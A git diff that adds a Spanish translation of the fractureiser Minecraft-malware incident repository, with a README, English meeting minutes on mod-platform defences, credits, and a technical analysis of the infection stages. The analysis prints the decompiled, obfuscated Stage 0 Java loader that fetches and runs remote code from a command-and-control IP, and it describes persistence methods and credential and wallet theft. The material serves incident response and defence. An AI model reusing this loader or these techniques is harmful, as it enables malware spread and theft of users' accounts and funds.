diff --git a/lang/es-ES/README.md b/lang/es-ES/README.md new file mode 100644 index 0000000..a1f391b --- /dev/null +++ b/lang/es-ES/README.md @@ -0,0 +1,50 @@ +
+ +
+ +*Disculpen las molestias, la documentación sigue en progreso* + +## ¿Qué? +`fractureiser` es un [virus/software malicioso](https://en.wikipedia.org/wiki/Computer_virus) encontrado en varios proyectos de Minecraft subidos en CurseForge y BukkitDev. Este virus está incrustado en múltiples mods, de los cuales muchos han sido añadidos a modpacks muy populares. Se sabe que este malware tiene como objetivo a los sistemas Windows y Linux. + +Si no se verifica a tiempo, fractureiser puede ser **EXTREMADAMENTE PELIGROSO** para tu PC. Por favor lee este documento para obtener la información necesaria y mantenerte seguro. + +Le hemos llamado a este malware `fractureiser` porque corresponde al nombre de la cuenta de CurseForge que subió los archivos maliciosos más notables. + +## Lo que TÚ necesitas saber + +### [Jugadores con mods hacer CLICK AQUÍ](docs/users.md) + +Si simplemente juegas con mods y no eres un desarrollador, el link de arriba es todo lo que necesitas. Este contiene información superficial sobre los efectos del malware, pasos a seguir para chequear si lo tienes y cómo quitarlo, junto con un FAQ (preguntas frecuentes). + +Cualquiera que desee profundizar acerca del tema puede dirigirse a +* [Línea de Tiempo](docs/timeline.md) +* [Análisis Técnico](docs/tech.md) + +### Nunca he utilizado mods de Minecraft + +Tú no estás infectado. + +## Estado actual de la investigación + +Nos hemos hecho una idea de cómo fractureiser actúa desde su etapa 0 hasta 3. Hay algunos puntos desconocidos, pero los servidores del ataque están desactivados y, hasta lo que sabemos, *nuevas* infecciones ya no pueden ocurrir. Sin embargo, las infecciones antiguas podrían seguir activas. + +La documentación para usuarios esta más o menos terminada. Estamos trabajando con los miembros de la comunidad para traducirla en más idiomas para generar conciencia. + +## Reunión de seguimiento +El 08-06-2023, el equipo de mitigación de fractureiser sostuvo una reunión con miembros importantes de la comunidad para discutir sobre medidas preventivas y soluciones para futuros problemas que se puedan presentar de esta misma escala. +Ver [esta página](https://github.com/fractureiser-investigation/fractureiser/blob/main/docs/2023-06-08-meeting.md) para encontrar la agenda y los detalles del evento. + +## Información Adicional + +Si tienes archivos relevantes en relación a este malware, por favor súbelos a https://wormhole.app y envía el URL generado por correo a fractureiser@unascribed.com — todo lo que se envíe sera compartido con el resto del equipo. Si necesitas contactarte de manera más general, por favor envía un correo a jaskarth4@gmail.com. + +Si copias porciones de este documento en alguna parte, por favor incluye un link de vuelta a este [repositorio de GitHub](https://github.com/fractureiser-investigation/fractureiser) en la parte superior para que las personas puedan leer las últimas actualizaciones y ponerse en contacto. + +El **único** canal público oficial al que te puedes unir sin ser invitado personalmente, y que es *dirigido por el mismo equipo que escribió este informe*, es [#cfmalware on EsperNet IRC](https://webchat.esper.net/?channels=cfmalware). **Unirse a un canal IRC expondrá tu dirección IP.** + +**No pidan muestras.** Si tienes experiencia y credenciales está genial, pero no tenemos cómo verificar esto sin usar mucho del limitado tiempo que tiene el equipo. Compartir muestras se malware es peligroso, incluso entre personas que saben lo que están haciendo. + +--- + +\- el [equipo de mitigación de fractureiser](docs/credits.md) diff --git a/lang/es-ES/docs/2023-06-08-meeting.md b/lang/es-ES/docs/2023-06-08-meeting.md new file mode 100644 index 0000000..359b270 --- /dev/null +++ b/lang/es-ES/docs/2023-06-08-meeting.md @@ -0,0 +1,407 @@ +# Fractureiser Mitigation Meeting 2023-06-08 + +Agenda and minutes for the 2023-06-08 meeting on follow-ups and preventions + +In the interest of keeping the meeting productive, we invited a narrow set of members +from the community, mostly people working on mod repositories, and people who helped +organize the incident response. + +## Recordings + +The meeting has been recorded and edited to include speaking identifiers. You can watch the recording on [YouTube](https://www.youtube.com/watch?v=L52Hu334Q90) or [PeerTube](https://tube.sleeping.town/w/c48e7df1-cf9b-43d2-84a8-4bce404ee836). + +## Time + +2023-06-08 16:00 UTC + +## Attendees + +Meeting shepherds/drivers: + +- Emi (initial responder, organizer) +- Jasmine (organizer) + +Meeting secretary/minutes: + +- williewillus (incident journalist; Violet Moon) + +Members of the Community (Alphabetic): + +- Adrian (Modrinth) +- cpw (Forge) +- Doctor Oyster (Overwolf Community Team Leader) +- Emma (Modrinth) +- Fury (Overwolf CEO) +- gdude (Quilt) +- Geometrically (Modrinth) +- IMS (CaffeineMC) +- Jared (BlameJared Maven) +- kennytv (PaperMC) +- Mikey (FTB) +- modmuss (Fabric) +- Slowpoke (FTB) +- Starchild (Quilt) +- timoreo (Prism Launcher) +- ZekeZ (Prism Launcher) + +## Summary of Incident and Response + +(this is mostly for the benefit of attendees to get them caught up quickly - this doesn't need to be read aloud or something) + +`fractureiser` is a novel self replicating virus that infects Bukkit plugins, Forge Mods, Fabric Mods, and vanilla Minecraft jars. Infected jars, upon being loaded, will run as normal, but silently download a series of payloads that steal login tokens, stored browser passwords/payment information, and cryptocurrency. After a computer has been infected, every applicable jar file on the compromised system will be infected such that if they are shared and run on an another computer, the infection will spread. Compromised Curseforge login tokens were used to gain access to large mod projects and distribute infected jars to users. + +Discussion and responses to the issue began in earnest on June 6th. Samples were gradually discovered, identified, and decompiled. The source of the payloads that propogate the malware and steal passwords/tokens was identified, and swiftly taken down by its host, Serverion. Infected jars are no longer able to progress or propogate the malware, but infections from prior to the node being taken down may still be active. + +At time of writing, samples continue to be reverse engineered in the hopes that, should the attackers attempt to create a new iteration of the malware, its command and control nodes can be taken down as quickly as possible. On June 7th, the attacker attempted to create a new node, which was again swiftly taken down by its host. A web URL pointing to this now-defunct node has been found, and is being actively monitored. + +## Agenda + +We have about an hour so let's spend 15 minutes on each topic max. I've organized the +topics by my (williewillus') sense of how likely something actionable is to happen. The +less realistic something is the lower down it is. If time constrains us, we may drop those +topics. + +### Opaque Review Processes/Security by Obscurity + +#### Discussion and Action Items + +- What does CurseForge/Modrinth *do* when reviewing a mod? + - Insert "what do you do here" meme :) +- What automated checks *are* being run? + - ? +- What automated checks *should* be put in place? + - Static analysis? + - Can we get mod repos to commit to these action plans? +- Semi-OT: Can we get a checksum algorithm that is not MD5 on CF please? MD5 has been + known broken for years and this made us wary of attempted editing/collision attacks for + longer than necessary + - What does Modrinth use? + +Minutes: + +Fury: CEO of overwolf. Eng is working on mitigations, so I'm here + Re: checks. From a high-level perspective. Don't want to be too open about the checks + because people can find ways to bypass. Understand that the ambiguity is a concern, + will share as much as I can. + All mods have auto checks. Manual checks for some. + Technically, start by running antivirus/antimalware scans. Check file type/adherence to file structure. + API actually supports SHA-1. + More clientside improvements to enforce this in a good way. + Manual checks when an auto check flags it, human reviews the mod. Changing text/images also involves manual review. + Continuously evolving process, have updated automated tests to look for this vuln. + +Emi: Moving to modrinth to keep things quick + +Geo/Jay: Founder of Modrinth. Our moderation is pretty robust. + New project: manual review. Check description, images. Also check the source code, esp. for new/unknown authors. + Closed source, will occasionally decompile mods, but not often. + Checks on backend for file structure. + Malware in modded mc is generally never detected by antivirus. + Have rejected mods in the past for suspicious code. + Understand this process is flawed. After initial review, we rely on reports afterwards. + Our code is open source, we want a transparent tool the community can use. + Relies on community trust (known author), but this is also flawed. + +Emi: When you check open source mods, do you verify the source corresponds to the jar? + +Geo: No, but we could do something where users can upload the source for a verified badge, +like what npm has recently does. Might not be most ideal. + +Emi: Which hash is used by Modrinth + +Geo: We use SHA-1/SHA-512. Avaiable in API. Launcher we're building validates +them. Rehashed all files in SHA-512 a year ago. + + + +### Reproducible Builds + +One thing that would have helped in the "scanning for tampered mods" part of the response, +was if we knew a specific mod version only had one possible binary output. That is, +reproducible builds given a source checkout. We could have simply rebuilt the mod in +question from source, taken its hash, and compared it to the file under scrutiny to detect +stage 0 infection, rather than going through the complicated exercise of trying to scan +for signatures in the code. + +How many of our mods have build scripts plugins or deps with unpinned floating +`-SNAPSHOT` version specifiers in them? + +I'm willing to bet all of them, because both +[Fabric](https://github.com/FabricMC/fabric-example-mod/blob/1.20/build.gradle#L2) and +[Forge](https://github.com/MinecraftForge/MinecraftForge/blob/1.19.x/mdk/build.gradle#L4) +have example mods that do just that. + +Gradle plugins like Loom and FG traditionally did this so that they could push fixes and +iterate quickly without user action, but it's important now to have auditability. + +Supply chain attacks from random modding Mavens being hacked is a very real threat. + +#### Discussion and Action Items + +- Stop promoting usage of `-SNAPSHOT` in example templates and documentation in favor of + fixed version numbers +- Update fabric-example-mod and forge MDK example to use Gradle checksum verification and/or locking? + - https://docs.gradle.org/current/userguide/dependency_verification.html + - This is the traditional "write hashes into a file and check them" lockfile approach + - https://docs.gradle.org/current/userguide/dependency_locking.html + - This is "lock any ranged dependency declarations like `[1, 2)` to one specific + version until told to update" +- Stand up a working group in Loom/FG to investigate reproducible builds when the gradle + [flag](https://docs.gradle.org/current/userguide/working_with_files.html#sec:reproducible_archives) + is set. There may be nondeterminism introduced by parts of the modding toolchain such as + jar remappers. Each instance needs to be rooted out such that a mod builds reproducibly + out of the box. +- Crazy idea: F-Droid style, submit source and it gets built by the mod repo? + - Expensive capacity wise, unlikely to happen. + +Starchild: For Quilt, one issue here is signing. We can't reproduce a signature. + +willie: But if the signature is distributed separately, should be fine? + +Geo: We can never be 100% secure. We can spend a lot of time reviewing every file. One +important thing is accessibility. Many people don't know how Gradle works/what +reproducible builds are. Template mods exist, but even code signing is hard for mobile devs. +We get thousands of submissions a day. + +Fury: One thing we suggest, for authors that opt to go through extra verification have a +tag on their mod for gamers to see to increase trust. + +### Mods Downloading External Files + +Mods that download external files which contain executable code are vulnerable to a supply chain attack. + +Some existing examples of mods that do this are: +- [Essential](https://modrinth.com/mod/essential) + - Automatic updater downloads any updates without prompting user. If the Essential + update servers are compromised, the malicious code will be downloaded upon launching + minecraft. +- Mods depending on [owolib](https://modrinth.com/mod/owo-lib), such as [gadget](https://modrinth.com/mod/gadget) + - Will prompt the user to download owo-lib, which will download the jar from + modrinth. If a malicious jar is added to modrinth with the correct version, it can + perform a supply chain attack. + +Should one of the more popular mods, such as Essential, be compromised, it would allow malware to quickly propagate to millions of users. + +#### Discussion and Action Items + +- Should mods uploaded to platforms (Modrinth, CurseForge, etc.) be permitted to download + files containing executable code from external sources? + - I think no, but how would we enforce this? Start the game with the mod and check it + doesn't download anything new into the mods folder? + +Fury: Manually review when we see this pattern happen + +willie: But you can push malicious code later + +Fury: look at the author's reputation and other attributes of safety. + +Starchild: Not too down to ban downloading everything from the internet. See some +legitimate usecases. We can mark the mod on the platform as downloading external code. +Can have policies like must do over https, etc. We can draft it in the community. + +willie: Clarification: I mean talking about downloading code, not data + +Lambda: TODO(willie i missed first half) Quilt had a proposal to do dependency +downloading. More generally, only allow downloading of things that were predeclared +(e.g. with a hash). Even if we allow mods that do this, I will still stay suspicious. + +### Code Signing + +Binary artifacts released to mod repos should be signed by their author. + +Templates and help docs for e.g. Fabric Loom and ForgeGradle should make the UX as easy as +possible to: + +- Build releases in CI +- Sign jars in CI at build time +- Upload the signed jars to mod repos in CI + +Moving release creation to CI is already more than what many modders do (most people don't +even tag their releases). Keep in mind many modders are amateur programmers that have not +worked in industry and don't know what any of this is. + +I can't stress how important it is for this to be as well documented, easy, and +ready-to-use as possible this is, or else no one will use it. + +Eventually, mod repos should require signatures for every single upload and reject any +unsigned artifact outright. This will need a rollout period, and still require good +education materials. + +#### Discussion and Action Items + +- Where should public keys be held and associated with their authors? In other words, what + prevents a hacker from replacing a public key as well as the signed binary at the same + time? + - In the modrinth user account (behind 2fa)? + - Without organization accounts this can be annoying for mods that can be uploaded by + multiple people? + - If Modrinth is compromised a hacker can replace the pubkey and uploade a new signed + binary at the same time +- PGP signing or java jarsigner stuff? + - PGP is the standard and used for Maven Central. My impression is no one uses the java + specific stuff. OpenSSH signing is also an option but is much newer and has no + established ecosystem. PGP is probably the best choice, unfortunately. We can automate + away all the crappy parts of it with helpers in Gradle plugins. +- Prior art + - Forge has had support for signature stuff for years and it's gone unused. What can we + learn from it? +- Launchers should likely include UI elements to indicate mod signature verification status. +- Immediate followups + - Modrinth and CurseForge design how public key association/storage will work + - Mod loaders write extensive documentation about how to: + 1. Create releases in CI using git tags + 2. Automatically sign and upload artifacts from CI + +Emi: this doesn't necessitate a required process + +Starchild: What do we want to prevent here and where? Mod repo can just associate a key +with the user and require it in upload, but enforcement/verification can also happen in +the loader. + +Jasmine: I recently uploaded to Maven Central which enforces code signing. Process was +mostly painless via buildscripts, hardest part was finding the docs. + +Emi: Relaying from text chat, what is the point of signing? The main reason is for +identifying actors. + +cpw: Wrote codesigning for Forge, been there around 10y. It might have detected stage0 and +probably stage3 if the signature wasn't stripped. We've wanted people to do it. Most +people in Forge use it these days. Fingerprints for signatures show up in debug logs, +etc. That's the primary purpose. IMO needs to be pushed a layer up. There is no mechanism +to distribute trust. A modder can tell their *own* jar is good, but the user doesn't. That +requires a trust authority in the mc ecosystem. Setting one is a complex endeavour. Only +viable actor is CF and Modrinth, since they already track the stuff you need to track. +1 +on badging on the mod repos. Doing it on the clientside? We're far too late for that at +the moment. If the entire ecosystem was signed, we could revisit. + +Emi: Is it possible to have a collaboratively controlled third party CA? Adding two steps +is a bit much. + +cpw: You can sign with multiple CA's at once, so that isn't necessary + +Fury: We can look into it. + +cpw: If you're committing to it, that's awesome :) + +Geo: IMO would be best if a trusted third party does it. Diff platforms have diff +policies. Modrinth interested in this as well, but we have to move carefully. + +Emi: Are you willing to work with CurseForge for a third party CA? + +Geo: Yeah. Everyone should put their differences aside for security, even though Modrinth +wasn't affected it still was indirectly since " + +cpw: Would be nice to see movement after 10y + +### Sandboxing + +Sandboxing the Minecraft process is another defense strategy that can be used to limit the +blast radius of attacks coming from malicious mod code. + +In general, it's a hard problem. + +Minecraft should only need access to: + +- The internet, to authenticate, log into servers, etc. +- Filesystem access to the `.minecraft` instance folder and its recursive descendants + +The main thing of interest to lock down here is filesystem access. + +On Windows, there does not seem to be any simple to deploy sandboxing system (besides +"play bedrock"). The closest is Chromium's +[model](https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md) +which would require significant invasive changes to the game. + +On macOS, we *could* use Apple's built in sandboxing system known as ["Seatbelt"](https://www.chromium.org/developers/design-documents/sandbox/osx-sandboxing-design/). It is already enforced in apple's app store, but not external apps like Minecraft. However it is still not possible to use it to restrict network access to certain sites. +Below is a image which shows its file permission config which we can use to restrict its access. This could prove to be good enough for what is needed to limit malware and attacks from the code. +![image](media/sandboxfile.png) + + +On Linux, we have a couple options. First is SELinux/AppArmor. These frameworks are +infamous for being insanely hard to configure and as a result have not been widely +deployed. However, the policies we seek are quite simple, so it's possible this could be +an avenue. + +In OpenBSD parlance, all we want to do is [`unveil(2)`](https://man.openbsd.org/unveil) to +all paths in the instance root, but unfortunately this interface isn't available in Linux. + +Second, is using a system such as Flatpak. + + +timoreo: Executing untrusted code is always unsafe, regardless of what sandboxing you +have. Sandboxing is always your last resort. We have a flatpak of Prism which is sandboxed +and restricts a lot of access. Prevented this specific attack. Can be difficult, e.g. you +might think you can restrict mic, but what if a mod adding voice chat wants it? Needs to +be restricted but allow freedom for modders. Linux has a lot of techniques, can restrict +pretty much everything. + +ZekeZ: Main issue is Windows and macOS, especially Windows. + +Emi: Concern for several mods. Locking down fs access can be problematic for mods that +want global instance-independent configs + +ZekeZ: What was the problem with EMI? + +Emi: There is a user-facing option to store stuff in ~/.minecraft instead of the instance +local one + +timoreo: You can case-by-case allow files. Anyways, what about network? + +--- + +Recap + +kennytv: Hi from Paper. Some overlap with modding, and have our own plugin repo. Would be +interested in one maintainable scanner for identifying current malware. There is a bunch +right now. On signing, Sponge also had that for a while. They basically gave on it, +because people didn't know how to use it. Very hard to get novices to understand it. + +Lambda: Would like to see mod hosting to add more 2FA. Or even only allowing API/CI to +upload. That can be a bit annoying but can avoid token stealing resulting in bad +uploads. Currently don't know if Modrinth has 2fa. CurseForge has it but only for +payouts. Want to see this expanded. + +Geo: Were working on 2fa before this started. Will also allow scoped tokens (e.g. unsigned +builds only from this token, signed builds only from this token) 2fa has a flaw which is +your session token is still vulnerable to compromise. LTT YouTube was compromised by +this. Planning on launching new auth stuff in a couple of weeks. + +Emi: To point out, LPS authors did have 2fa. + +willie: Reiterating the point about building, signing, releasing **in CI** + +Geo: one thing platforms to do is a general checklist when they're first uploading a +project. On Modrinth we have a guide for literally everything. When we added descriptions +and icons to the new upload checklist, rates of doing so jumped up. + +Emi: Recently implemented CI publishing. Just copied another Github workflow file. This +isn't maintainable. + +Lambda: CI is not a thing a first time modder will do. There's a learning curve to +modding: experimentation, then publishing, then fix stuff after you get popular. It's very +daunting for a beginner due to lack of documentation *for modding workflows*. CI not +really in the example mod templates. + +Jared: Host the BlameJared maven with lots of projects. Encourage people to use CI as much +as possible. Default MDK just publishes artifact, not even source. Need more examples and +guides to set up jenkins, etc. + +willie: GH Actions is probably easier for beginners than Jenkins no? + +Jared: Not familiar with GH does it now. All files on my maven are built locally, not sure +how remote publishing would work. + +Emi: For a lot of mods, Maven is not strictly necessary. Can use CurseMaven/Modrinth's +maven. Useful for mods that don't intentionally expose themselves as API's. + +willie: +1 that Maven's are second order, most mods are leaf content mods that don't need +Maven publishing. + +Jared: CurseMaven is not a long term option. No one noticed, but CurseGradle has been +taken off Github. Its source is gone. Nobody has noticed or spoken up about it. + +willie: overall action item recap + +Fury: Thanks everyone. Overwolf has grown over the years. Some folks reached out and +provided valuable information. If you have further information, feel free to contact us it +would help a lot. \ No newline at end of file diff --git a/lang/es-ES/docs/credits.md b/lang/es-ES/docs/credits.md new file mode 100644 index 0000000..a8dc17a --- /dev/null +++ b/lang/es-ES/docs/credits.md @@ -0,0 +1,15 @@ +## Créditos +¡No es exhaustivo! Gracias a todos los que colaboraron. + +[**Emi**](https://github.com/emilyploszaj/): Coordinación, descubrimiento inicial (para este equipo), investigación temprana, organización de la reunión +[**Jasmine**](https://github.com/jaskarth/): Coordinación, investigación, escribir el decompilador que hemos usado ([Quiltflower](https://github.com/QuiltMC/quiltflower/)) +[**unascribed**](https://github.com/unascribed/): Coordinación de la documentación, control de la multitud, logo +[**williewillus**](https://github.com/williewillus/): Coordinación, periodista +[**Vazkii**](https://github.com/vazkii/): Documentación, comunicación pública +[**Col-E**](https://github.com/Col-E/): Ingeniería inversa, escribir el desofuscador que hemos usado ([Recaf](https://www.coley.software/Recaf/)) +[**quat**](https://github.com/quat1024/): Documentación, investigación de la muestra inicial infectada +[**cortex**](https://github.com/mcrcortex/): Ingeniería inversa +[**aurelium**](https://github.com/autumnaurelium/): Coordinación, desofuscación +[**D3SL**](https://github.com/D3SL/): Ingeniería inversa extensiva, descubrimiento temprano aprendido más tarde +[**Luna Pixel Studios**](https://lunapixelstudios.github.io/): Detención rápida de subidas no autorizadas +**Nia**: Ingeniería reversa extensiva de la etapa 3 \ No newline at end of file diff --git a/lang/es-ES/docs/media/flowchart.png b/lang/es-ES/docs/media/flowchart.png new file mode 100644 index 0000000..598a88b Binary files /dev/null and b/lang/es-ES/docs/media/flowchart.png differ diff --git a/lang/es-ES/docs/media/localappdata.png b/lang/es-ES/docs/media/localappdata.png new file mode 100644 index 0000000..3e9039d Binary files /dev/null and b/lang/es-ES/docs/media/localappdata.png differ diff --git a/lang/es-ES/docs/media/stages.png b/lang/es-ES/docs/media/stages.png new file mode 100644 index 0000000..b4b20ac Binary files /dev/null and b/lang/es-ES/docs/media/stages.png differ diff --git a/lang/es-ES/docs/media/unhide.mp4 b/lang/es-ES/docs/media/unhide.mp4 new file mode 100644 index 0000000..fe3c6d6 Binary files /dev/null and b/lang/es-ES/docs/media/unhide.mp4 differ diff --git a/lang/es-ES/docs/tech.md b/lang/es-ES/docs/tech.md new file mode 100644 index 0000000..4c578c4 --- /dev/null +++ b/lang/es-ES/docs/tech.md @@ -0,0 +1,368 @@ +# Información técnica + +## Distribución + +Some modpacks have had updates published for them without the knowledge of the authors, adding a dependency on malicious mods. These modpack updates were archived immediately after uploading, meaning they *do not show on the web UI, only via the API.* + +The malicious mods have upload dates multiple weeks in the past. Most of them were +uploaded by single-use accounts with clearly autogenerated names, and were likely the seed +of the infection. Luna Pixel Studios was compromised due to a dev testing one of these +mods, as it was an interesting new upload. + +### Known affected mods & plugins + +Note: This list is **non-comprehensive**. It was constructed in the early days of +investigation and quickly we realized the scope of this was much larger than we thought, +making tracking of individual cases pointless. It's left here for historical purposes. + +See also CurseForge's +[list](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/) +of affected projects. + +|mod/plugin|link(s)|SHA1|"Uploader"| +|---|---|---|---| +|Skyblock Core|[www.curseforge.com/minecraft/mc-mods/skyblock-core/files/4570565](https://www.curseforge.com/minecraft/mc-mods/skyblock-core/files/4570565) |`33677CA0E4C565B1F34BAA74A79C09A3B690BF41`|Luna Pixel Studios| +|Dungeonz|[legacy.curseforge.com/minecraft/mc-mods/dungeonx/files/4551100 (removed)](https://legacy.curseforge.com/minecraft/mc-mods/dungeonx/files/4551100) |`2DB855A7F40C015F8C9CA7CBAB69E1F1AAFA210B`|fractureiser| +|Haven Elytra|[dev.bukkit.org/projects/havenelytra/files/4551105 (removed)](https://dev.bukkit.org/projects/havenelytra/files/4551105) [legacy.curseforge.com/minecraft/bukkit-plugins/havenelytra/files/4551105 (removed)](https://legacy.curseforge.com/minecraft/bukkit-plugins/havenelytra/files/4551105) |`284A4449E58868036B2BAFDFB5A210FD0480EF4A`|fractureiser| +|Vault Integrations|[www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 (removed)](https://www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590)|`0C6576BDC6D1B92D581C18F3A150905AD97FA080`|simpleharvesting82| +|AutoBroadcast|[www.curseforge.com/minecraft/mc-mods/autobroadcast/files/4567257 (removed)](https://www.curseforge.com/minecraft/mc-mods/autobroadcast/files/4567257)|`C55C3E9D6A4355F36B0710AB189D5131A290DF26`|shyandlostboy81| +|Museum Curator Advanced|[www.curseforge.com/minecraft/mc-mods/museum-curator-advanced/files/4553353 (removed)](https://www.curseforge.com/minecraft/mc-mods/museum-curator-advanced/files/4553353)|`32536577D5BB074ABD493AD98DC12CCC86F30172`|racefd16| +|Vault Integrations Bug fix|[www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590 (removed)](https://www.curseforge.com/minecraft/mc-mods/vault-integrations-bug-fix/files/4557590)|`0C6576BDC6D1B92D581C18F3A150905AD97FA080`|simplyharvesting82 +|Floating Damage|[dev.bukkit.org/projects/floating-damage (removed)](https://dev.bukkit.org/projects/floating-damage)|`1d1aaccdc13244e980c0c024610ecc77ea2674a33a52129edf1bb4ce3b2cc2fc`|mamavergas3001 +|Display Entity Editor|[www.curseforge.com/minecraft/bukkit-plugins/display-entity-editor/files/4570122 (removed)](https://www.curseforge.com/minecraft/bukkit-plugins/display-entity-editor/files/4570122)|`A4B6385D1140C111549D95EAB25CB51922EEFBA2`|santa_faust_2120 + +Darkhax sent this: https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f + +potentially more: Sophisticated Core, Dramatic Doors, Moonlight lib, Union lib + +## Etapa 0 (Infected mod jars) + +Affected mods or plugins have a new `static void` method inserted into their main class, and a call to this method is inserted into that class's static initializer. For DungeonZ, the method is named `_d1385bd3c36f464882460aa4f0484c53` and exists in `net.dungeonz.DungeonzMain`. For Skyblock Core, the method is named `_f7dba6a3a72049a78a308a774a847180` and is inserted into `com.bmc.coremod.BMCSkyblockCore`. For HavenElytra, the code is inserted directly into the otherwise-unused static initializer of `valorless.havenelytra.HavenElytra`. + +The method's code is obfuscated, using `new String(new byte[]{...})` instead of string literals. + +From D3SL sample of "Create Infernal Expansion Plus", a copycat version of "Create Infernal Expansion Compat" with malware inserted into the main mod class: +```java +static void _1685f49242dd46ef9c553d8af1a4e0bb() { + Class.forName(new String(new byte[] { + // "Utility" + 85, 116, 105, 108, 105, 116, 121 + }), true, (ClassLoader) Class.forName(new String(new byte[] { + // "java.net.URLClassLoader" + 106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114 + })).getConstructor(URL[].class).newInstance(new URL[] { + new URL(new String(new byte[] { + // "http" + 104, 116, 116, 112 + }), new String(new byte[] { + // "85.217.144.130" + 56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48 + }), 8080, new String(new byte[] { + // "/dl" + 47, 100, 108 + })) + })).getMethod(new String(new byte[] { + // "run" + 114, 117, 110 + }), String.class).invoke((Object) null, "-114.-18.38.108.-100"); +} +``` + +This: +1. Creates a `URLClassLoader` with the URL `http://[85.217.144.130:8080]/dl` ([shodan](https://www.shodan.io/host/85.217.144.130)) +2. Loads the class `Utility` from the classloader, fetching code from the internet +3. Calls the `run` method on `Utility`, passing a String argument different for each infected mod (!). E.g. + * Skyblock Core: "`-74.-10.78.-106.12`" + * Dungeonz: "`-114.-18.38.108.-100`" + * HavenElytra: "`-114.-18.38.108.-100`" + * Vault Integrations: "`-114.-18.38.108.-100`" + +The passed numerals are parsed as bytes by Stage 1 and written to a file named ".ref". They appear to be a way for the author to track infection sources. + +The creation of the classloader is hardcoded to that URL and does not use the Cloudflare URL that Stage 1 does. As that IP is now offline, this means the Stage 0 payloads *we are presently aware of* no longer function. + +## Etapa 1 (`dl.jar`) + +SHA-1: `dc43c4685c3f47808ac207d1667cc1eb915b2d82` + +[Decompiled files from the Malware can be found here](../decomp). + +The very first thing `Utility.run` does is check if the system property `neko.run` is set. If it is, it will *immediately stop executing*. If not, it sets it to an empty string and continues. This appears to be the malware trying to avoid executing itself multiple times, such as if it had infected multiple mods. *This cannot be relied upon as a killswitch because Stage1 is downloaded from the Internet and may change.* + +It attempts to contact `85.217.144.130`, and a Cloudflare Pages domain (`https://files-8ie.pages.dev/ip`). Abuse reports have already been sent. The Pages domain is used to retrieve the IP of the C&C server if the first IP no longer responds — the URL responds with a binary representation of an IPv4 address. + +*The C&C IP has been nullrouted after an abuse report to the server provider. We will need to keep an eye on the Cloudflare page to see if a new C&C server is stood up, I can't imagine they didn't plan for this.* Thank you Serverion for your prompt response. + +*The Cloudflare Pages domain has been terminated.* There is a new C&C server located at `107.189.3.101`. + +Stage 1 then attempts to achieve persistence by doing the following: +1. Downloading Stage 2 (lib.jar on Linux, libWebGL64.jar on Windows) from the server +2. Making Stage 2 run automatically on startup: +* On Linux, it tries placing systemd unit files in `/etc/systemd/system` or `~/.config/systemd/user` + * The unit file it places in the user folder never works, because it tries using `multi-user.target`, which doesn't exist for user units +* On Windows, it attempts to modify the registry + (`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`) to start itself, or + failing that, tries adding itself to the `Windows\Start Menu\Programs\Startup` folder + +## Etapa 2 (`lib.jar` o `libWebGL64.jar`) + +Known sha1 hashes: +* `52d08736543a240b0cbbbf2da03691ae525bb119` +* `6ec85c8112c25abe4a71998eb32480d266408863` (D3SL's earlier upload) + +Stage 2 is obfuscated with a demo version of the Allatori obfuscator, and its main class is called `Bootstrap`. +It additionally contains another class called named `h` which seems to be a simple communications class, but is empty +otherwise. You can view an attempt to reconstruct the source code at +https://gist.github.com/SilverAndro/a992f85bec29bb248c354ccf5d2206fe + +When launched it does the following: +1. Open port `9655` and add a shutdown hook to close it when the jvm closes. +2. Locate itself on disk and works next to itself +3. If `.ref` exists, it reads the identifier key from the file +4. Launches a loop to + 1. Checks with `https://[files-8ie.pages.dev]:8083/ip` for the server and attempts to connect to it + 2. Receives a flag for if the update check should continue, throwing if not (reported to the server on port `1338`) + 3. If so, receives a hash and checks it against `client.jar` if it exists, sending back a byte for if it wants to update + 4. If so, receives and overwrites/creates `client.jar`, hiding it using file attributes + 5. Loads and invokes the static method `dev.neko.nekoclient.Client#start(InetAddress, refFileBytes)` + 6. Sleeps for 5 seconds + +## Etapa 3 (`client.jar`) + +sha-1: `c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5` +sha-1: `e299bf5a025f5c3fff45d017c3c2f467fa599915` + +`client.jar` is an incredibly obfuscated and complex bundle of code and contains both java and native code. + +It contains a native payload `hook.dll`, decompiled: https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c + +There are two native functions meant to be called from Java, as they are JNI callable: +* `__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);` +* `__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);` + +From analysis, these do what they say on the tin: +* Read clipboard contents +* Steal Microsoft account credentials + +There is also evidence of code attempting to do the following: +* Scan for *all* jar files on the system that look like Minecraft mods (by detecting + Forge/Fabric/Quilt/Bukkit), o [declare a Main + class](https://github.com/clrxbl/NekoClient/blob/main/dev/neko/nekoclient/Client.java#L235-L244) + (most plain Java programs) and attempt to inject Stage 0 into them +* Steal cookies and login information for many web browsers +* Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker +* Steal Discord credentials +* Steal Microsoft and Minecraft credentials, from a variety of launchers +* Steal crypto wallets + +Jars are heuristically detected as Minecraft mods or plugins as follows: +* Forge (`dev/neko/e/e/e/A`): The malware attempts to locate the `@Mod` annotation, which is required in every mod +* Bukkit (`dev/neko/e/e/e/C`): The malware checks if a class extends Bukkit's `JavaPlugin` class +* Fabric/Quilt (`dev/neko/e/e/e/i`): The malware checks if a class implements `ModInitializer` +* Bungee (`dev/neko/e/e/e/l`): The malware checks if a class extends Bungee's `Plugin` class +* Vanilla (`dev/neko/e/e/e/c`): The malware checks if the main client class `net.minecraft.client.main.Main` exists + +## Etapa3 (`unobf-client.jar`) + +Around 2023-06-07 14:20 UTC the stage3 client jar was seemingly accidentally replaced with an unobfuscated version. You can find the archive 